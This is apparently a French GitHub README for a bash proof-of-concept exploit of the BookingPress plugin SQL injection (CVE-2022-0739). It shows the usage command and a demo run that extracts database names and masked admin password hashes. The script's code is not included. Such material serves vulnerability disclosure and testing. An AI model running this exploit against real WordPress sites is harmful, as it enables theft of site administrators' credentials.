chris01s/cve-2022-0739Simple script bash pour automatiser l'exploit de la cve 2022 0739.
Preuve de concept d'exploit (SQLI BookingPress avant 1.0.11)
Fournissez l'URL où le plugin Booking Press est utilisé sur l'application.
bash exploit.sh '<insérez l'url ici>'
par exemple (Les hachages sont masqués dans cette démonstration)
┌──(user@user)-[~/]
└─$ bash sqli_exploit.sh 'http://localhost/calendar/'
____ __ _ ____
/ __ )____ ____ / /__(_)___ ____ _/ __ \________ __________
/ __ / __ \/ __ \/ //_/ / __ \/ __ `/ /_/ / ___/ _ \/ ___/ ___/
/ /_/ / /_/ / /_/ / ,< / / / / / /_/ / ____/ / / __(__ |__ )
/_____/\____/\____/_/|_/_/_/ /_/\__, /_/ /_/ \___/____/____/
/____/
_______ ________ ___ ____ ___ ___ ____ __________ ____
/ ____/ | / / ____/ |__ \ / __ \__ \|__ \ / __ \/__ /__ // __ \
/ / | | / / __/________/ // / / /_/ /__/ /_____/ / / / / / /_ </ /_/ /
/ /___ | |/ / /__/_____/ __// /_/ / __// __/_____/ /_/ / / /___/ /\__, /
\____/ |___/_____/ /____/\____/____/____/ \____/ /_//____//____/
[+] Exploitation de http://localhost ...
[+] URL vulnérable à http://localhost/calendar/...
[+] Obtention du nonce...
[+] Nonce trouvé : 219087f4c2
[+] Extraction du nom de la base de données...
information_schema
test_db
[+] Récupération des identifiants...
admin $P$BGrGrgXXXXXXXXXXXXXX
testUs3r $P$B4aNM28NXXXXXXXXXXX
AVERTISSEMENT
Toute utilisation de ce programme sans consentement mutuel préalable peut être considérée comme une activité illégale. Il est de la responsabilité de l'utilisateur final de respecter toutes les lois locales, étatiques et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce programme.